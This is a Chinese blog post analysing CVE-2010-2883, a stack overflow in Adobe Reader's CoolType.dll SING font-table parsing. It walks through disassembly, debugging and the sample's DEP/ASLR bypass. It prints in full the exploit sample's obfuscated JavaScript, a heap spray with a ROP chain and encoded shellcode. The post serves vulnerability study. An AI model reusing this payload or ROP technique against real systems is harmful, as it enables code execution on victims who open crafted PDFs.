<div class="post-page-container flex relative justify-between box-border w-full h-full">
<div class="article-content-container">
<div class="article-title relative w-full">
<div class="w-full flex items-center pt-6 justify-start">
<h1 class="article-title-regular text-second-text-color tracking-tight text-4xl md:text-6xl font-semibold px-2 sm:px-6 md:px-8 py-3">CVE-2010-2883 Adobe Reader TTF字体SING表栈溢出漏洞</h1>
</div>
</div>
<div class="article-header flex flex-row gap-2 items-center px-2 sm:px-6 md:px-8">
<div class="avatar w-[46px] h-[46px] flex-shrink-0 rounded-medium border border-border-color p-[1px]">
<img src="/images/rabete.jpg">
</div>
<div class="info flex flex-col justify-between">
<div class="author flex items-center">
<span class="name text-default-text-color text-lg font-semibold">xiaoeryu</span>
<span class="author-label ml-1.5 text-xs px-2 py-0.5 rounded-small text-third-text-color border border-shadow-color-1">Lv5</span>
</div>
<div class="meta-info">
<div class="article-meta-info">
<span class="article-date article-meta-item">
<i class="fa-regular fa-pen-fancy"></i>
<span class="desktop">2021-05-19 22:42:44</span>
<span class="mobile">2021-05-19 22:42:44</span>
<span class="hover-info">创建</span>
</span>
<span class="article-date article-meta-item">
<i class="fa-regular fa-wrench"></i>
<span class="desktop">2023-11-17 19:38:22</span>
<span class="mobile">2023-11-17 19:38:22</span>
<span class="hover-info">更新</span>
</span>
<span class="article-categories article-meta-item">
<i class="fa-regular fa-folders"></i>
<ul>
<li>
<a href="/categories/Win%E9%80%86%E5%90%91/">Win逆向</a>
</li>
</ul>
</span>
<span class="article-tags article-meta-item">
<i class="fa-regular fa-tags"></i>
<ul>
<li>
<a href="/tags/Adobe-Reader%E6%BC%8F%E6%B4%9E/">Adobe Reader漏洞</a>
</li>
<li>
| <a href="/tags/%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/">漏洞分析</a>
</li>
</ul>
</span>
<span class="article-pv article-meta-item">
<i class="fa-regular fa-eye"></i> <span id="busuanzi_value_page_pv"></span>
</span>
</div>
</div>
</div>
</div>
<div class="article-content markdown-body px-2 sm:px-6 md:px-8 pb-8">
<h3 id="0x1:漏洞描述"><a href="#0x1:漏洞描述" class="headerlink" title="0x1:漏洞描述"></a>0x1:漏洞描述</h3><p> CVE-2010-2883是Adobe Reader和Acrobat中的CoolType.dll库在解析字体文件SING表中的uniqueName项时存在的栈溢出漏洞,用户受骗打开了特制的PDF文件就有可能导致执行任意代码。</p>
<h3 id="0x2:分析环境"><a href="#0x2:分析环境" class="headerlink" title="0x2:分析环境"></a>0x2:分析环境</h3><table>
<thead>
<tr>
<th align="left"></th>
<th>推荐使用的环境</th>
<th>备注</th>
</tr>
</thead>
<tbody><tr>
<td align="left">操作系统</td>
<td>Windows XP SP3</td>
<td>简体中文版</td>
</tr>
<tr>
<td align="left">虚拟机</td>
<td>VMware</td>
<td></td>
</tr>
<tr>
<td align="left">调试器</td>
<td>OD</td>
<td></td>
</tr>
<tr>
<td align="left">反汇编器</td>
<td>IDA Pro</td>
<td>6.8</td>
</tr>
<tr>
<td align="left">漏洞软件</td>
<td>Adobe Reader</td>
<td>9.3.4</td>
</tr>
</tbody></table>
<span id="more"></span>
<h3 id="0x3:基于字符串定位的漏洞分析方法"><a href="#0x3:基于字符串定位的漏洞分析方法" class="headerlink" title="0x3:基于字符串定位的漏洞分析方法"></a>0x3:基于字符串定位的漏洞分析方法</h3><p> 用IDA反汇编CoolType.dll库,查看字符串可发现”SING”字体,因为该字符串是漏洞解析出错的地方,直接定位进去即可查看该库对string表格的解析方式,==主要是strcat造成的溢出漏洞==:</p>
<pre><code class="asm">.text:0803DCF9
.text:0803DCF9 ; =============== S U B R O U T I N E =======================================
.text:0803DCF9
.text:0803DCF9 ; Attributes: bp-based frame fpd=108h
.text:0803DCF9
.text:0803DCF9 sub_803DCF9 proc near ; CODE XREF: sub_803A3B2+55p
.text:0803DCF9 ; sub_803DFF4+28p ...
.text:0803DCF9
.text:0803DCF9 var_160 = byte ptr -160h
.text:0803DCF9 var_140 = dword ptr -140h
.text:0803DCF9 var_138 = dword ptr -138h
.text:0803DCF9 var_134 = dword ptr -134h
.text:0803DCF9 var_130 = dword ptr -130h
.text:0803DCF9 var_12C = dword ptr -12Ch
.text:0803DCF9 var_128 = dword ptr -128h
.text:0803DCF9 var_124 = dword ptr -124h
.text:0803DCF9 var_120 = dword ptr -120h
.text:0803DCF9 var_119 = byte ptr -119h
.text:0803DCF9 var_114 = dword ptr -114h
.text:0803DCF9 var_10C = dword ptr -10Ch
.text:0803DCF9 var_108 = byte ptr -108h
.text:0803DCF9 var_4 = dword ptr -4
.text:0803DCF9 arg_0 = dword ptr 8
.text:0803DCF9 arg_4 = dword ptr 0Ch
.text:0803DCF9 arg_8 = dword ptr 10h
.text:0803DCF9 arg_C = dword ptr 14h
.text:0803DCF9
.text:0803DCF9 push ebp
.text:0803DCFA sub esp, 104h ;分配栈空间0x104
.text:0803DD00 lea ebp, [esp-4] ;后面的strcat会把执行结果保存在ebp中
.text:0803DD04 mov eax, ___security_cookie
.text:0803DD09 xor eax, ebp
.text:0803DD0B mov [ebp+108h+var_4], eax
.text:0803DD11 push 4Ch
.text:0803DD13 mov eax, offset sub_8184A54
.text:0803DD18 call __EH_prolog3_catch
.text:0803DD1D mov eax, [ebp+108h+arg_C]
.text:0803DD23 mov edi, [ebp+108h+arg_0]
.text:0803DD29 mov ebx, [ebp+108h+arg_4]
.text:0803DD2F mov [ebp+108h+var_130], edi
.text:0803DD32 mov [ebp+108h+var_138], eax
.text:0803DD35 call sub_804172C
.text:0803DD3A xor esi, esi
.text:0803DD3C cmp dword ptr [edi+8], 3
.text:0803DD40 mov [ebp+108h+var_10C], esi
.text:0803DD43 jz loc_803DF00
.text:0803DD49 mov [ebp+108h+var_124], esi
.text:0803DD4C mov [ebp+108h+var_120], esi
.text:0803DD4F cmp dword ptr [edi+0Ch], 1
.text:0803DD53 mov byte ptr [ebp+108h+var_10C], 1
.text:0803DD57 jnz loc_803DEA9
.text:0803DD5D push offset aName ; "name"
.text:0803DD62 push edi ; int
.text:0803DD63 lea ecx, [ebp+108h+var_124]
.text:0803DD66 mov [ebp+108h+var_119], 0
.text:0803DD6A call sub_80217D7
.text:0803DD6F cmp [ebp+108h+var_124], esi
.text:0803DD72 jnz short loc_803DDDD
.text:0803DD74 push offset aSing ; "SING"
.text:0803DD79 push edi ; int
.text:0803DD7A lea ecx, [ebp+108h+var_12C] ;指向sing表入口
.text:0803DD7D call sub_8021B06 ;处理SING表
.text:0803DD82 mov eax, [ebp+108h+var_12C]
.text:0803DD85 cmp eax, esi ;判断是否为空
.text:0803DD87 mov byte ptr [ebp+108h+var_10C], 2
.text:0803DD8B jz short loc_803DDC4 ;这里不跳转
.text:0803DD8D mov ecx, [eax] ;字体资源版本号,这里为1.0版本即00 10 00 00
.text:0803DD8F and ecx, 0FFFFh
.text:0803DD95 jz short loc_803DD9F ;这里跳转
.text:0803DD97 cmp ecx, 100h
.text:0803DD9D jnz short loc_803DDC0
.text:0803DD9F
.text:0803DD9F loc_803DD9F: ; CODE XREF: sub_803DCF9+9Cj
.text:0803DD9F add eax, 10h ;相对string表偏移0x10处找到uniqueName
.text:0803DDA2 push eax ; char * uniqueName域
.text:0803DDA3 lea eax, [ebp+108h+var_108]
.text:0803DDA6 push eax ; char * 目的地址是一段固定大小的栈空间
.text:0803DDA7 mov [ebp+108h+var_108], 0
.text:0803DDAB call strcat ;造成溢出!!
</code></pre>
<ul>
<li>由上可知,Adobe Reader在调用strcat的时候,未对uniqueName字段的字符串长度进行检测,将其直接复制到固定大小的栈空间中,最终导致栈溢出。</li>
</ul>
<img lazyload="" src="/images/loading.svg" data-src="/2021/05/19/CVE-2010-2883-Adobe-Reader-TTF%E5%AD%97%E4%BD%93SING%E8%A1%A8%E6%A0%88%E6%BA%A2%E5%87%BA%E6%BC%8F%E6%B4%9E/image-20201013235707085.png" class="" title="image-20201013235707085">
<h3 id="0x4:样本Exploit技术分析"><a href="#0x4:样本Exploit技术分析" class="headerlink" title="0x4:样本Exploit技术分析"></a>0x4:样本Exploit技术分析</h3><p> 用PdfStreamDumperd找到TTF并保存至本地</p>
<img lazyload="" src="/images/loading.svg" data-src="/2021/05/19/CVE-2010-2883-Adobe-Reader-TTF%E5%AD%97%E4%BD%93SING%E8%A1%A8%E6%A0%88%E6%BA%A2%E5%87%BA%E6%BC%8F%E6%B4%9E/image-20201028234333765.png" class="" title="image-20201028234333765">
<center>找到TTF位置</center>
<img lazyload="" src="/images/loading.svg" data-src="/2021/05/19/CVE-2010-2883-Adobe-Reader-TTF%E5%AD%97%E4%BD%93SING%E8%A1%A8%E6%A0%88%E6%BA%A2%E5%87%BA%E6%BC%8F%E6%B4%9E/image-20201028234401837.png" class="" title="image-20201028234401837">
<center>将TTF文件保存至本地</center>
<p> TableEntry结构数据</p>
<pre><code class="c"> typedef sturct_SING
{
char tag[4]; //"SING"
ULONG checkSum;//校验和
ULONG offset; //相对文件偏移,0000011C
ULONG length; //数据长度
} TableEntry;
</code></pre>
<p> 保存下来之后我们可以用010Edit加载TTF模板来查看一下文件的结构,找到SING表的真实数据,</p>
<p> 从TableEntry结构入口偏移0x11C即是SING表的真实数据,从<strong>00 00 01 00</strong> 开始的部分,接着再偏移0x10即可找到uniqueName域</p>
<img lazyload="" src="/images/loading.svg" data-src="/2021/05/19/CVE-2010-2883-Adobe-Reader-TTF%E5%AD%97%E4%BD%93SING%E8%A1%A8%E6%A0%88%E6%BA%A2%E5%87%BA%E6%BC%8F%E6%B4%9E/image-20201109215720617.png" class="" title="image-20201109215720617">
<center>uniqueName域</center>
<p> <strong>00 00 01 00</strong> 表示版本号,偏移0x10开始为uniqueName字段,大小为28字节且以0x00结尾。但是在CoolType.dll中,使用strcat对这个位置进行操作时没有判断长度,所以我们可以构造超长的uniqueName进行栈溢出。</p>
<h3 id="0x05:动态调试"><a href="#0x05:动态调试" class="headerlink" title="0x05:动态调试"></a>0x05:动态调试</h3><p> 用OD加载Adobe Reader 按F9直接运行,运行起来之后在<strong>0x0803DD74</strong>(前面我们通过IDA找到的加载SING表的位置)下断点,然后打开poc.pdf。程序会断在此处。</p>
<img lazyload="" src="/images/loading.svg" data-src="/2021/05/19/CVE-2010-2883-Adobe-Reader-TTF%E5%AD%97%E4%BD%93SING%E8%A1%A8%E6%A0%88%E6%BA%A2%E5%87%BA%E6%BC%8F%E6%B4%9E/image-20201029235903195.png" class="" title="image-20201029235903195">
<p> 然后向下单步执行,在0X0803DD7A执行完之后,可以看到ECX被从栈中赋了一个值</p>
<img lazyload="" src="/images/loading.svg" data-src="/2021/05/19/CVE-2010-2883-Adobe-Reader-TTF%E5%AD%97%E4%BD%93SING%E8%A1%A8%E6%A0%88%E6%BA%A2%E5%87%BA%E6%BC%8F%E6%B4%9E/image-20201104211542610.png" class="" title="image-20201104211542610">
<p> 我们查看一下这个值中保存的内容,拿这个值跟上面通过010Edit查看到的值对比发现是一样的,可以判断这里存放的是SING表的数据。</p>
<img lazyload="" src="/images/loading.svg" data-src="/2021/05/19/CVE-2010-2883-Adobe-Reader-TTF%E5%AD%97%E4%BD%93SING%E8%A1%A8%E6%A0%88%E6%BA%A2%E5%87%BA%E6%BC%8F%E6%B4%9E/image-20201104211659428.png" class="" title="image-20201104211659428">
<p>继续往下调试可以看到这里有个call,看一下参数明显是吧SING字符串当错参数传入进去了,F8步过继续往下调试。</p>
<img lazyload="" src="/images/loading.svg" data-src="/2021/05/19/CVE-2010-2883-Adobe-Reader-TTF%E5%AD%97%E4%BD%93SING%E8%A1%A8%E6%A0%88%E6%BA%A2%E5%87%BA%E6%BC%8F%E6%B4%9E/image-20201109201540699.png" class="" title="image-20201109201540699">
<p>这里看一下eax的值可以比较一下跟SING表入口的数据是一样的,这样我们可以猜测上面那个call的作用是用来取出SING表的数据<img lazyload="" src="/images/loading.svg" data-src="/2021/05/19/CVE-2010-2883-Adobe-Reader-TTF%E5%AD%97%E4%BD%93SING%E8%A1%A8%E6%A0%88%E6%BA%A2%E5%87%BA%E6%BC%8F%E6%B4%9E/image-20201109211515283.png" class="" title="image-20201109211515283"></p>
<img lazyload="" src="/images/loading.svg" data-src="/2021/05/19/CVE-2010-2883-Adobe-Reader-TTF%E5%AD%97%E4%BD%93SING%E8%A1%A8%E6%A0%88%E6%BA%A2%E5%87%BA%E6%BC%8F%E6%B4%9E/image-20201109215720617.png" class="" title="image-20201109215720617">
<p>再继续往下调试我们就能找到上面再IDA里面找到的溢出点。这里我们可以看一下传递给strcat的参数,通过对比发现这个地址存放的是uniquename。继续F8执行。</p>
<img lazyload="" src="/images/loading.svg" data-src="/2021/05/19/CVE-2010-2883-Adobe-Reader-TTF%E5%AD%97%E4%BD%93SING%E8%A1%A8%E6%A0%88%E6%BA%A2%E5%87%BA%E6%BC%8F%E6%B4%9E/image-20201109233420281.png" class="" title="image-20201109233420281">
<p>执行strcat之后,会将<strong>58 E0 8D AD</strong> 起始的部分复制到ebp的指定地址(0x0012e4d8),直至遇到NULL字符终止。我们对复制进去的这段数据(ebp指向的地址)设置内存访问断点,F9执行。</p>
<p>第一次断在字符串拷贝,每次拷贝一个字节,循环拷贝。</p>
<img lazyload="" src="/images/loading.svg" data-src="/2021/05/19/CVE-2010-2883-Adobe-Reader-TTF%E5%AD%97%E4%BD%93SING%E8%A1%A8%E6%A0%88%E6%BA%A2%E5%87%BA%E6%BC%8F%E6%B4%9E/image-20201109235316562.png" class="" title="image-20201109235316562">
<p>第二个地方断在字符串开始的地方,每次比较一个字节。</p>
<img lazyload="" src="/images/loading.svg" data-src="/2021/05/19/CVE-2010-2883-Adobe-Reader-TTF%E5%AD%97%E4%BD%93SING%E8%A1%A8%E6%A0%88%E6%BA%A2%E5%87%BA%E6%BC%8F%E6%B4%9E/image-20201109235551091.png" class="" title="image-20201109235551091">
<p>继续往下跟踪可以找到下图的位置,0x4A8A08E2是样本中的数据,该地址必须为可读可写的,否则会导致出现异常。</p>
<img lazyload="" src="/images/loading.svg" data-src="/2021/05/19/CVE-2010-2883-Adobe-Reader-TTF%E5%AD%97%E4%BD%93SING%E8%A1%A8%E6%A0%88%E6%BA%A2%E5%87%BA%E6%BC%8F%E6%B4%9E/image-20201110000836183.png" class="" title="image-20201110000836183">
<p>继续执行下去将看到下图所示的地址。此处的call [eax]指令,[eax]=0x4A80CB38 (icucnv36.4A80CB38)</p>
<img lazyload="" src="/images/loading.svg" data-src="/2021/05/19/CVE-2010-2883-Adobe-Reader-TTF%E5%AD%97%E4%BD%93SING%E8%A1%A8%E6%A0%88%E6%BA%A2%E5%87%BA%E6%BC%8F%E6%B4%9E/image-20201110001742314.png" class="" title="image-20201110001742314">
<p>此地址对应的指令为:</p>
<img lazyload="" src="/images/loading.svg" data-src="/2021/05/19/CVE-2010-2883-Adobe-Reader-TTF%E5%AD%97%E4%BD%93SING%E8%A1%A8%E6%A0%88%E6%BA%A2%E5%87%BA%E6%BC%8F%E6%B4%9E/image-20201110002213991.png" class="" title="image-20201110002213991">
<center>ROP指令1</center>
<p>返回之后:</p>
<img lazyload="" src="/images/loading.svg" data-src="/2021/05/19/CVE-2010-2883-Adobe-Reader-TTF%E5%AD%97%E4%BD%93SING%E8%A1%A8%E6%A0%88%E6%BA%A2%E5%87%BA%E6%BC%8F%E6%B4%9E/image-20201110002529870.png" class="" title="image-20201110002529870">
<center>ROP指令2</center>
<p>我们再来看下TTF流中的样本数据,可以找到上面基础关键跳转地址的踪影:</p>
<img lazyload="" src="/images/loading.svg" data-src="/2021/05/19/CVE-2010-2883-Adobe-Reader-TTF%E5%AD%97%E4%BD%93SING%E8%A1%A8%E6%A0%88%E6%BA%A2%E5%87%BA%E6%BC%8F%E6%B4%9E/image-20201110002842137.png" class="" title="image-20201110002842137">
<p>跳转地址的稳定性其实主要依靠0x4A82A714和0x4A80CB38这两处地址,他们都位于icucnv36这块地址空间内,而在Adove Reader的各个版本上,这个dll上的这两处地址是始终不变的,因而保持了各个版本的兼容性和Exploit的稳定性。上面的0C0C0C0C正式样本特意构造的,然后再通过嵌入到PDF的JavaScript实现Heap Spary,进而跳入Shellcode执行代码。0x0C0C0C0C正是绕过DEP的关键部分,它是利用ROP技术实现的。</p>
<p>借助PdfStreamDumper来提取样本中的JavaScript代码。</p>
<pre><code class="javascript">var qXtjjwuwMZHJFnHFHIeKMsuymSwbvdoCpVQWidsXxgdOevIIdJDueXNhhaFuWpjEXlNYkQBcmKusAxoTqqySheWldNrQ = unescape;
var TuBHhjKjSQNWxYdXhwSUaUeAfYLLCe = qXtjjwuwMZHJFnHFHIeKMsuymSwbvdoCpVQWidsXxgdOevIIdJDueXNhhaFuWpjEXlNYkQBcmKusAxoTqqySheWldNrQ( '%u4141%u4141%u63a5%u4a80%u0000%u4a8a%u2196%u4a80%u1f90%u4a80%u903c%u4a84%ub692%u4a80%u1064%u4a80%u22c8%u4a85%u0000%u1000%u0000%u0000%u0000%u0000%u0002%u0000%u0102%u0000%u0000%u0000%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0008%u0000%ua8a6%u4a80%u1f90%u4a80%u9038%u4a84%ub692%u4a80%u1064%u4a80%uffff%uffff%u0000%u0000%u0040%u0000%u0000%u0000%u0000%u0001%u0000%u0000%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0008%u0000%ua8a6%u4a80%u1f90%u4a80%u9030%u4a84%ub692%u4a80%u1064%u4a80%uffff%uffff%u0022%u0000%u0000%u0000%u0000%u0000%u0000%u0001%u63a5%u4a80%u0004%u4a8a%u2196%u4a80%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0030%u0000%ua8a6%u4a80%u1f90%u4a80%u0004%u4a8a%ua7d8%u4a80%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0020%u0000%ua8a6%u4a80%u63a5%u4a80%u1064%u4a80%uaedc%u4a80%u1f90%u4a80%u0034%u0000%ud585%u4a80%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u000a%u0000%ua8a6%u4a80%u1f90%u4a80%u9170%u4a84%ub692%u4a80%uffff%uffff%uffff%uffff%uffff%uffff%u1000%u0000%ue9bd%u49c0%udd6d%ud9c5%u2474%u5ff4%uc929%u31b1%u6f31%u8313%u04c7%u6f03%u22e6%u91bc%u2010%u6a3f%u45e0%u8fc9%u45d1%uc4ad%u7641%u89a5%ufd6d%u39eb%u73e6%u4d24%u394f%u6012%u1250%ue366%u69d2%uc3bb%ua1eb%u02ce%udf2c%u5623%uabe5%u4796%ue682%ue32a%ue7d8%u102a%u06a8%u871a%u50a3%u29bc%ue960%u31f5%ud465%uc94c%ua25d%u1b4e%u4bac%u62fc%ube01%ua3fc%u21a5%udd8b%udcd6%u198c%u3aa5%uba18%uc80d%u66ba%u1dac%uec5c%ueaa2%uaa2a%ueda6%uc0ff%u66d2%u06fe%u3c53%u8325%ue638%u9244%u49e4%uc478%u3547%u8edc%u2265%ucd6d%ub5e3%u6be3%ub541%u73fb%udef5%uf8ca%u999a%u2ad2%u56df%u7799%uff49%ue244%u62c8%ud877%u9b0e%ue9f4%u58ee%u9be4%u25eb%u70a2%u3681%u7747%u3636%u1442%ua4d9%uf50e%u4d7c%u09b4' );
var hgHbuigmqMHFYcMUUwDsvvjYkPfvUjrkVPHIsjcNtTOJnPRFAyDLZFSOaHVkMWXNIpaw = qXtjjwuwMZHJFnHFHIeKMsuymSwbvdoCpVQWidsXxgdOevIIdJDueXNhhaFuWpjEXlNYkQBcmKusAxoTqqySheWldNrQ( "%" + "u" + "0" + "c" + "0" + "c" + "%u" + "0" + "c" + "0" + "c" );
while (hgHbuigmqMHFYcMUUwDsvvjYkPfvUjrkVPHIsjcNtTOJnPRFAyDLZFSOaHVkMWXNIpaw.length + 20 + 8 < 65536) hgHbuigmqMHFYcMUUwDsvvjYkPfvUjrkVPHIsjcNtTOJnPRFAyDLZFSOaHVkMWXNIpaw+=hgHbuigmqMHFYcMUUwDsvvjYkPfvUjrkVPHIsjcNtTOJnPRFAyDLZFSOaHVkMWXNIpaw;
AMdepunMDlBdcASwQxIXPGLFXVNQnQrUurHez = hgHbuigmqMHFYcMUUwDsvvjYkPfvUjrkVPHIsjcNtTOJnPRFAyDLZFSOaHVkMWXNIpaw.substring(0, (0x0c0c-0x24)/2);
AMdepunMDlBdcASwQxIXPGLFXVNQnQrUurHez += TuBHhjKjSQNWxYdXhwSUaUeAfYLLCe;
AMdepunMDlBdcASwQxIXPGLFXVNQnQrUurHez += hgHbuigmqMHFYcMUUwDsvvjYkPfvUjrkVPHIsjcNtTOJnPRFAyDLZFSOaHVkMWXNIpaw;
JXWEaKrHQPCtejKwqfCPofYNrtFlVIZGQrpuiwWQwWaCuEOfqQWTNslPPizGKncXoXwfgWiB = AMdepunMDlBdcASwQxIXPGLFXVNQnQrUurHez.substring(0, 65536/2);
while(JXWEaKrHQPCtejKwqfCPofYNrtFlVIZGQrpuiwWQwWaCuEOfqQWTNslPPizGKncXoXwfgWiB.length < 0x80000) JXWEaKrHQPCtejKwqfCPofYNrtFlVIZGQrpuiwWQwWaCuEOfqQWTNslPPizGKncXoXwfgWiB += JXWEaKrHQPCtejKwqfCPofYNrtFlVIZGQrpuiwWQwWaCuEOfqQWTNslPPizGKncXoXwfgWiB;
GpzjaZkwEGsG = JXWEaKrHQPCtejKwqfCPofYNrtFlVIZGQrpuiwWQwWaCuEOfqQWTNslPPizGKncXoXwfgWiB.substring(0, 0x80000 - (0x1020-0x08) / 2);
var KkRYrQKZaeEulhPvabpTanhXVgnMmalrmTtKTmlkSrkkgM = new Array();
for (MHzOuXylamFYTUBOrCPPWcbkWJOMFnTFvtCRiJjNnptuQTlkQCNqlNGacncSxbbglbfBlfqsfqUHNE=0;MHzOuXylamFYTUBOrCPPWcbkWJOMFnTFvtCRiJjNnptuQTlkQCNqlNGacncSxbbglbfBlfqsfqUHNE<0x1f0;MHzOuXylamFYTUBOrCPPWcbkWJOMFnTFvtCRiJjNnptuQTlkQCNqlNGacncSxbbglbfBlfqsfqUHNE++) KkRYrQKZaeEulhPvabpTanhXVgnMmalrmTtKTmlkSrkkgM[MHzOuXylamFYTUBOrCPPWcbkWJOMFnTFvtCRiJjNnptuQTlkQCNqlNGacncSxbbglbfBlfqsfqUHNE]=GpzjaZkwEGsG+"s";
</code></pre>
<p>当返回到栈顶(0C0C0C0C)后,栈的情况如下所示。</p>
<img lazyload="" src="/images/loading.svg" data-src="/2021/05/19/CVE-2010-2883-Adobe-Reader-TTF%E5%AD%97%E4%BD%93SING%E8%A1%A8%E6%A0%88%E6%BA%A2%E5%87%BA%E6%BC%8F%E6%B4%9E/image-20201110004506163.png" class="" title="image-20201110004506163">
<p>栈中的数据便是上面JS代码中的Shellcode,作者也正是利用它来实现ROP绕过DEP保护的。首先进入0x4A8063A5,然后再依次执行下面的ROP指令</p>
<img lazyload="" src="/images/loading.svg" data-src="/2021/05/19/CVE-2010-2883-Adobe-Reader-TTF%E5%AD%97%E4%BD%93SING%E8%A1%A8%E6%A0%88%E6%BA%A2%E5%87%BA%E6%BC%8F%E6%B4%9E/image-20201110004824363.png" class="" title="image-20201110004824363">
<center>ROP指令3</center>
<img lazyload="" src="/images/loading.svg" data-src="/2021/05/19/CVE-2010-2883-Adobe-Reader-TTF%E5%AD%97%E4%BD%93SING%E8%A1%A8%E6%A0%88%E6%BA%A2%E5%87%BA%E6%BC%8F%E6%B4%9E/image-20201110005023971.png" class="" title="image-20201110005023971">
<center>ROP指令4</center>
<img lazyload="" src="/images/loading.svg" data-src="/2021/05/19/CVE-2010-2883-Adobe-Reader-TTF%E5%AD%97%E4%BD%93SING%E8%A1%A8%E6%A0%88%E6%BA%A2%E5%87%BA%E6%BC%8F%E6%B4%9E/image-20201110005125716.png" class="" title="image-20201110005125716">
<center>构造CreaterFileA函数地址的ROP指令</center>
<img lazyload="" src="/images/loading.svg" data-src="/2021/05/19/CVE-2010-2883-Adobe-Reader-TTF%E5%AD%97%E4%BD%93SING%E8%A1%A8%E6%A0%88%E6%BA%A2%E5%87%BA%E6%BC%8F%E6%B4%9E/image-20201110005307611.png" class="" title="image-20201110005307611">
<center>调用CreateFileA函数</center>
<p>调用CreateFileA函数时,栈上对应的各个参数情况如图所示,它创建了一个名为iso88591的文件</p>
<img lazyload="" src="/images/loading.svg" data-src="/2021/05/19/CVE-2010-2883-Adobe-Reader-TTF%E5%AD%97%E4%BD%93SING%E8%A1%A8%E6%A0%88%E6%BA%A2%E5%87%BA%E6%BC%8F%E6%B4%9E/image-20201110005501083.png" class="" title="image-20201110005501083">
<p>返回之后,再通过跟上面相同的手法构造出ROP指令来调用CreateFileMapping,创建文件内存映射,调用CreateFileMapping时的栈中各个参数如下图</p>
<img lazyload="" src="/images/loading.svg" data-src="/2021/05/19/CVE-2010-2883-Adobe-Reader-TTF%E5%AD%97%E4%BD%93SING%E8%A1%A8%E6%A0%88%E6%BA%A2%E5%87%BA%E6%BC%8F%E6%B4%9E/image-20201110005720538.png" class="" title="image-20201110005720538">
<p>然后,执行MapViewOfFile函数</p>
<img lazyload="" src="/images/loading.svg" data-src="/2021/05/19/CVE-2010-2883-Adobe-Reader-TTF%E5%AD%97%E4%BD%93SING%E8%A1%A8%E6%A0%88%E6%BA%A2%E5%87%BA%E6%BC%8F%E6%B4%9E/image-20201110005847673.png" class="" title="image-20201110005847673">
<p>然后,再执行memcpy函数</p>
<img lazyload="" src="/images/loading.svg" data-src="/2021/05/19/CVE-2010-2883-Adobe-Reader-TTF%E5%AD%97%E4%BD%93SING%E8%A1%A8%E6%A0%88%E6%BA%A2%E5%87%BA%E6%BC%8F%E6%B4%9E/image-20201110010014506.png" class="" title="image-20201110010014506">
<p>其中目的地址就是前面MapViewOfFile返回的地址,而源地址就是真正的Shellcode代码,将他复制到一段可执行可读写的内存段,以此绕过DEP保护。由于构造的ROP指令均位于不受ASLR保护的icucnv36.dll模块,因此也可用于绕过ASLR保护。</p>
</div>
<div class="post-copyright-info w-full my-8 px-2 sm:px-6 md:px-8">
<div class="article-copyright-info-container">
<ul>
<li><strong>标题:</strong> CVE-2010-2883 Adobe Reader TTF字体SING表栈溢出漏洞</li>
<li><strong>作者:</strong> xiaoeryu</li>
<li><strong>创建于
:</strong> 2021-05-19 22:42:44</li>
<li>
<strong>更新于
:</strong> 2023-11-17 19:38:22
</li>
<li>
<strong>链接:</strong> https://github.com/xiaoeryu/2021/05/19/CVE-2010-2883-Adobe-Reader-TTF字体SING表栈溢出漏洞/
</li>
<li>
<strong>
版权声明:
</strong>
本文章采用 <a class="license" target="_blank" rel="noopener" href="https://creativecommons.org/licenses/by-nc-sa/4.0">CC BY-NC-SA 4.0</a> 进行许可。
</li>
</ul>
</div>
</div>
<ul class="post-tags-box text-lg mt-1.5 flex-wrap justify-center flex md:hidden">
<li class="tag-item mx-0.5">
<a href="/tags/Adobe-Reader%E6%BC%8F%E6%B4%9E/">#Adobe Reader漏洞</a>
</li>
<li class="tag-item mx-0.5">
<a href="/tags/%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/">#漏洞分析</a>
</li>
</ul>
<div class="article-nav my-8 flex justify-between items-center px-2 sm:px-6 md:px-8">
<div class="article-prev border-border-color shadow-redefine-flat shadow-shadow-color-2 rounded-medium px-4 py-2 hover:shadow-redefine-flat-hover hover:shadow-shadow-color-2">
<a class="prev" rel="prev" href="/2021/05/19/mm%E6%9C%A8%E9%A9%AC%E5%88%86%E6%9E%90/">
<span class="left arrow-icon flex justify-center items-center">
<i class="fa-solid fa-chevron-left"></i>
</span>
<span class="title flex justify-center items-center">
<span class="post-nav-title-item">mm木马分析</span>
<span class="post-nav-item">上一篇</span>
</span>
</a>
</div>
<div class="article-next border-border-color shadow-redefine-flat shadow-shadow-color-2 rounded-medium px-4 py-2 hover:shadow-redefine-flat-hover hover:shadow-shadow-color-2">
<a class="next" rel="next" href="/2021/05/19/CVE-2012-0158/">
<span class="title flex justify-center items-center">
<span class="post-nav-title-item">CVE-2012-0158</span>
<span class="post-nav-item">下一篇</span>
</span>
<span class="right arrow-icon flex justify-center items-center">
<i class="fa-solid fa-chevron-right"></i>
</span>
</a>
</div>
</div>
<div class="comment-container px-2 sm:px-6 md:px-8 pb-8">
<div class="comments-container mt-10 w-full ">
<div id="comment-anchor" class="w-full h-2.5"></div>
<div class="comment-area-title w-full my-1.5 md:my-2.5 text-xl md:text-3xl font-bold">
评论
</div>
</div>
</div>
</div>
<div class="toc-content-container">
<div class="post-toc-wrap">
<div class="post-toc">
<div class="toc-title">目录</div>
<div class="page-title">CVE-2010-2883 Adobe Reader TTF字体SING表栈溢出漏洞</div>
<ol class="nav"><li class="nav-item nav-level-3"><a class="nav-link" href="#0x1%EF%BC%9A%E6%BC%8F%E6%B4%9E%E6%8F%8F%E8%BF%B0"><span class="nav-text">0x1:漏洞描述</span></a></li><li class="nav-item nav-level-3"><a class="nav-link" href="#0x2%EF%BC%9A%E5%88%86%E6%9E%90%E7%8E%AF%E5%A2%83"><span class="nav-text">0x2:分析环境</span></a></li><li class="nav-item nav-level-3"><a class="nav-link" href="#0x3%EF%BC%9A%E5%9F%BA%E4%BA%8E%E5%AD%97%E7%AC%A6%E4%B8%B2%E5%AE%9A%E4%BD%8D%E7%9A%84%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90%E6%96%B9%E6%B3%95"><span class="nav-text">0x3:基于字符串定位的漏洞分析方法</span></a></li><li class="nav-item nav-level-3"><a class="nav-link" href="#0x4%EF%BC%9A%E6%A0%B7%E6%9C%ACExploit%E6%8A%80%E6%9C%AF%E5%88%86%E6%9E%90"><span class="nav-text">0x4:样本Exploit技术分析</span></a></li><li class="nav-item 